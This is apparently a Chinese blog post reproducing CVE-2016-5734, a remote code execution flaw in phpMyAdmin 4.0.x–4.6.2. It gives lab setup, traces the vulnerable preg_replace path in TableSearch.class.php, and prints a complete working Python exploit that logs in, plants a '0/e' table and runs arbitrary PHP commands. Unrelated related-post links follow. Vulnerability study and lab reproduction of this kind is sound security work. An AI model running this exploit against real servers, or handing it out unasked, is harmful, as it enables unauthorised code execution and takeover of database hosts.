CVE-2016-5734 复现
CVE-2016-5734
漏洞简介
phpMyAdmin 4.0.x—4.6.2 远程代码执行漏洞(CVE-2016-5734)
phpMyAdmin是一套开源的、基于Web的MySQL数据库管理工具。在其查找并替换字符串功能中,将用户输入的信息拼接进preg_replace函数第一个参数中。
在PHP5.4.7以前,preg_replace的第一个参数可以利用\0进行截断,并将正则模式修改为e。众所周知,e模式的正则支持执行代码,此时将可构造一个任意代码执行漏洞。
以下版本受到影响:
- 4.0.10.16之前4.0.x版本
- 4.4.15.7之前4.4.x版本
- 4.6.3之前4.6.x版本(实际上由于该版本要求PHP5.5+,所以无法复现本漏洞)
环境搭建
运行如下命令启动PHP 5.3 + Apache + phpMyAdmin 4.4.15.6:
docker-compose up -d
启动后,访问http://your-ip:8080,即可看到phpMyAdmin的登录页面。使用root:root登录。

漏洞复现
使用poc进行复现,-u指定用户名,-p指定登录密码,-d指定用户创建的表名, -c为将作为PHP代码执行的命令
python3 poc.py -c 'system(ls);' -u root -p root -d test http://192.168.130.19:8080/

成功执行命令之后会创建一个名为prgpwn的表

漏洞分析
漏洞成因
Php中的 preg_replace 函数 该函数是执行一个正则表达式并实现字符串的搜索与替换。
preg_replace ( mixed $pattern , mixed $replacement , mixed $subject [, int $limit = -1 [, int &$count ]] )
搜索 subject 中匹配 pattern 的部分, 以 replacement 进行替换。
参数说明:
$pattern: 要搜索的模式,可以是字符串或一个字符串数组。反斜杠定界符尽量不要使用,而是使用 # 或者 ~
$replacement: 用于替换的字符串或字符串数组。
$subject: 要搜索替换的目标字符串或字符串数组。
$limit: 可选,对于每个模式用于每个 subject 字符串的最大可替换次数。默认是-1(无限制)。
$count: 可选,为替换执行的次数。
该函数的返回值:当$subject为一数组的情况下返回一个数组,其余情况返回字符串。匹配成功则将替换后的subject被返回,不成功则返回没有改变的subject,发生语法错误等,返回NULL。

- 正则表达式修正符:
因为$pattern中指定的是要搜索的模式字符串,一般使用的是正则表达式,正则表达式中存在修正符,像/i 就是指定取消大小写敏感等。但是其中一个修正符 “/e”,在替换字符串中对逆向引用作正常的替换,将其作为 PHP 代码求值,并用其结果来替换所搜索的字符串。

因此这将会导致php代码执行:

漏洞触发
首先找到preg_replace()函数的调用位置: 发现是在 /libraries/TableSearch.class.php 文件中

可以看到 _getRegplaceRows()函数中 ,将参数find传入,并且将参数find作为preg_replace()函数的第一个参数使用。要构造payload 就需要将这三个参数 find、replaceWith、row[0]全部溯源查看。首先对_getRegplaceRows函数进行溯源:

getRegplaceRows 被 getReplacePreview 这个类的方法所调用,并且参数find与参数replacement都是经过该方法所传递的,再对这个函数进行溯源;

发现getRegplacePreview在 tbl_find_replace.php中使用,并且 参数find 与 replaceWith经POST方法进行传递。至此参数与函数溯源完毕。
前端查看该界面是phpmyadmin所提供的查找并替换数据表的功能。该功能是针对某一数据库中的数据表进行的查询功能:

其中 “查找“ 的参数就是find 。“替换为” 的参数就是replaceWith;

现在针对这两个的参数都寻找到了,就剩下 第三个参数了,继续寻找。第三个参数为 row[0]。首先看到这个参数为一数组,猜想是由SQL语句查询并返回的第一个值。找到row[0],接着回溯result参数,其指向Sql_query:

回溯$Sql_query,其下的SQL语句可理解为:
SELECT $columnname ,1,cont(*) FROM database.table_name WHERE $columnname RLIKE ‘$find’ COLLATE $charset_bin GROUP BY $columnname ORDER BY $column ASC;
并将这个查询后的值作为键值对,把键值对的第一个值给了 preg_replace()函数的第三个参数。

PMA_TableSearch该类的一个析构方法,在创建这个对象的同时执行该方法;

接着回溯,可以看到漏洞触发的 tbl_find_replace.php 中引用了这个 PMA_TableSearch类
创建了 $table_search 对象。而在这里将 db和table 这两个参数赋值。

回溯这两个参数发现在 /libraries/common.inc.php 中存在定义,全局寻找该函数可以发现通过REQUEST方法来接收变量并将其设置为全局变量。

该漏洞触发点,是在一个数据库表中操作而实现的,所以说,POC中是先创建数据表与列名,然后在进行参数的传递,这里可以直接将这个db与table 直接作为参数所提交,创建的数据库为test,数据表为"prgpwn" 该表中的first列 的值为“0/e” ,该值也就是通过$sql_qury sql语句中查询得到的 $row[0]

其中find传递的参数中包含 %00 将后面的反斜杠给截断。
最终执行时效果类似于:

poc如下:
#!/usr/bin/env python
"""cve-2016-5734.py: PhpMyAdmin 4.3.0 - 4.6.2 authorized user RCE exploit
Details: Working only at PHP 4.3.0-5.4.6 versions, because of regex break with null byte fixed in PHP 5.4.7.
CVE: CVE-2016-5734
Author: https://twitter.com/iamsecurity
run: ./cve-2016-5734.py -u root --pwd="" http://localhost/pma -c "system('ls -lua');"
"""
import requests
import argparse
import sys
__author__ = "@iamsecurity"
if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument("url", type=str, help="URL with path to PMA")
parser.add_argument("-c", "--cmd", type=str, help="PHP command(s) to eval()")
parser.add_argument("-u", "--user", required=True, type=str, help="Valid PMA user")
parser.add_argument("-p", "--pwd", required=True, type=str, help="Password for valid PMA user")
parser.add_argument("-d", "--dbs", type=str, help="Existing database at a server")
parser.add_argument("-T", "--table", type=str, help="Custom table name for exploit.")
arguments = parser.parse_args()
url_to_pma = arguments.url
uname = arguments.user
upass = arguments.pwd
if arguments.dbs:
db = arguments.dbs
else:
db = "test"
token = False
custom_table = False
if arguments.table:
custom_table = True
table = arguments.table
else:
table = "prgpwn"
if arguments.cmd:
payload = arguments.cmd
else:
payload = "system('uname -a');"
size = 32
s = requests.Session()
# you can manually add proxy support it's very simple ;)
# s.proxies = {'http': "127.0.0.1:8080", 'https': "127.0.0.1:8080"}
s.verify = False
sql = '''CREATE TABLE `{0}` (
`first` varchar(10) CHARACTER SET utf8 NOT NULL
) ENGINE=InnoDB DEFAULT CHARSET=latin1;
INSERT INTO `{0}` (`first`) VALUES (UNHEX('302F6500'));
'''.format(table)
# get_token
resp = s.post(url_to_pma + "/?lang=en", dict(
pma_username=uname,
pma_password=upass
))
if resp.status_code is 200:
token_place = resp.text.find("token=") + 6
token = resp.text[token_place:token_place + 32]
if token is False:
print("Cannot get valid authorization token.")
sys.exit(1)
if custom_table is False:
data = {
"is_js_confirmed": "0",
"db": db,
"token": token,
"pos": "0",
"sql_query": sql,
"sql_delimiter": ";",
"show_query": "0",
"fk_checks": "0",
"SQL": "Go",
"ajax_request": "true",
"ajax_page_request": "true",
}
resp = s.post(url_to_pma + "/import.php", data, cookies=requests.utils.dict_from_cookiejar(s.cookies))
if resp.status_code == 200:
if "success" in resp.json():
if resp.json()["success"] is False:
first = resp.json()["error"][resp.json()["error"].find("<code>")+6:]
error = first[:first.find("</code>")]
if "already exists" in error:
print(error)
else:
print("ERROR: " + error)
sys.exit(1)
# build exploit
exploit = {
"db": db,
"table": table,
"token": token,
"goto": "sql.php",
"find": "0/e\0",
"replaceWith": payload,
"columnIndex": "0",
"useRegex": "on",
"submit": "Go",
"ajax_request": "true"
}
resp = s.post(
url_to_pma + "/tbl_find_replace.php", exploit, cookies=requests.utils.dict_from_cookiejar(s.cookies)
)
if resp.status_code == 200:
result = resp.json()["message"][resp.json()["message"].find("</a>")+8:]
if len(result):
print("result: " + result)
sys.exit(0)
print(
"Exploit failed!\n"
"Try to manually set exploit parameters like --table, --database and --token.\n"
"Remember that servers with PHP version greater than 5.4.6"
" is not exploitable, because of warning about null byte in regexp"
)
sys.exit(1)
CVE-2016-5734 复现的更多相关文章
- CVE¬-2020-¬0796 漏洞复现(本地提权)
CVE-2020-0796 漏洞复现(本地提权) 0X00漏洞简介 Microsoft Windows和Microsoft Windows Server都是美国微软(Microsoft)公司的产品 ...
- CVE 2019-0708漏洞复现防御修复
CVE-2019-0708 Windows再次被曝出一个破坏力巨大的高危远程漏洞CVE-2019-0708.攻击者一旦成功利用该漏洞,便可以在目标系统上执行任意代码,包括获取敏感信息.执行远程代码.发 ...
- CVE 2019-0708 漏洞复现+
PART 1 参考链接:https://blog.csdn.net/qq_42184699/article/details/90754333 漏洞介绍: 当未经身份验证的攻击者使用 RDP 连接到目标 ...
- CVE-2017-8464远程命令执行漏洞(震网漏洞)复现
前言 2017年6月13日,微软官方发布编号为CVE-2017-8464的漏洞公告,官方介绍Windows系统在解析快捷方式时存在远程执行任意代码的高危漏洞,黑客可以通过U盘.网络共享等途径触发漏洞, ...
- [漏洞复现] CVE-2017-11882 通杀所有Office版本
此漏洞是由Office软件里面的 [公式编辑器] 造成的,由于编辑器进程没有对名称长度进行校验,导致缓冲区溢出,攻击者通过构造特殊的字符,可以实现任意代码执行. 举个例子,如果黑客利用这个漏洞,构造带 ...
- CVE-2018-8420 漏洞复现
影响的 Windows 版本: Microsoft Windows 10 Version 1607 for 32-bit SystemsMicrosoft Windows 10 Version 160 ...
- [原题复现]-HITCON 2016 WEB《babytrick》[反序列化]
前言 不想复现的可以访问榆林学院信息安全协会CTF训练平台找到此题直接练手 HITCON 2016 WEB -babytrick(复现) 原题 index.php 1 <?php 2 3 inc ...
- [原题复现+审计][0CTF 2016] WEB piapiapia(反序列化、数组绕过)[改变序列化长度,导致反序列化漏洞]
简介 原题复现: 考察知识点:反序列化.数组绕过 线上平台:https://buuoj.cn(北京联合大学公开的CTF平台) 榆林学院内可使用信安协会内部的CTF训练平台找到此题 漏洞学习 数组 ...
- CVE 2021-44228 Log4j-2命令执行复现及分析
12月11日:Apache Log4j2官方发布了2.15.0 版本,以修复CVE-2021-44228.虽然 2.15.0 版本解决了Message Lookups功能和JNDI 访问方式的问题,但 ...
- HDU 5734 Acperience (公式推导) 2016杭电多校联合第二场
题目:传送门. #include <iostream> #include <algorithm> #include <cstdio> #include <cs ...
随机推荐
- Jenkins持续集成入门到精通(入门篇)
1. 什么是持续集成 持续集成(Continuous integration,简称CI)指的是频繁将代码集成到主干.它的目的,就是让产品可以快速迭代,同时保持高质量.核心措施,代码集成到主干之前,必须 ...
- python入门基础(14)--类的属性、成员方法、静态方法以及继承、重载
上一篇提到过类的属性,但没有详细介绍,本篇详细介绍一下类的属性 一 .类的属性 方法是用来操作数据的,而属性则是建模必不的内容,而且操作的数据,大多数是属性,比如游戏中的某个boss类,它的生命值就是 ...
- 再谈http请求调用(Post与Get),项目研发的核心一环
支持.Net Core(2.0及以上)与.Net Framework(4.0及以上) [目录] 前言 Post请求 Get请求 与其它工具的比较 1[前言] http请求调用是开发中经常会用到的功能. ...
- TOP GP 把已经编译的per反编回对应版本的4fd(画面档)
由于GP5.1,5.2,5.3的genero对应版本画面档开发互不兼容,下面提供各版本之间互转的操作方法: xshell切换到要反编译的per档目录,执行以下命令,就会在同目录下生成对应4fd档资料 ...
- 素数是个什么东西 prime number
/** * ********************************************************************* * 只有1和它本身两个正因数的自然数,叫质数 ...
- 采用ResNet网络+TSNE降维算法对自建图像数据集进行二维可视化显示
起因:某一天下午,我在"玩"的时候,突然接到了老板的电话,说是要对图像做可视化降维.因此,我拿到了一批图像的数据. 数据的特点: 1.数据集的图像分为4类,并且每一种类的图像多少不 ...
- 普冉PY32系列(九) GPIO模拟和硬件SPI方式驱动无线收发芯片XL2400
目录 普冉PY32系列(一) PY32F0系列32位Cortex M0+ MCU简介 普冉PY32系列(二) Ubuntu GCC Toolchain和VSCode开发环境 普冉PY32系列(三) P ...
- 基于Electron27+Vite4+React18搭建桌面端项目|electron多开窗口实践
前段时间有分享一篇electron25+vite4搭建跨桌面端vue3应用实践.今天带来最新捣鼓的electron27+react18创建跨端程序.electron多开窗体(模拟QQ登录窗口切换主窗口 ...
- PolygonCollider2D.OverlapPoint()在小scale下失效的一种解决办法
偶然发现PolygonCollider2D的方法OverlapPoint()有时会失效(一直返回false),测试后发现在scale(这里指世界空间的scale,后同)很小的情况下(通常在UI Can ...
- Linux-管道、环境变量、常用命令
目录 管道 概念 要点 与文件重定向的区别 环境变量 概念 查看 常用命令 查看系统状况 权限 文件查找 用户相关 工具 管道 概念 管道的作用类似于文件重定向,可以将前一个命令的stout做为下一个 ...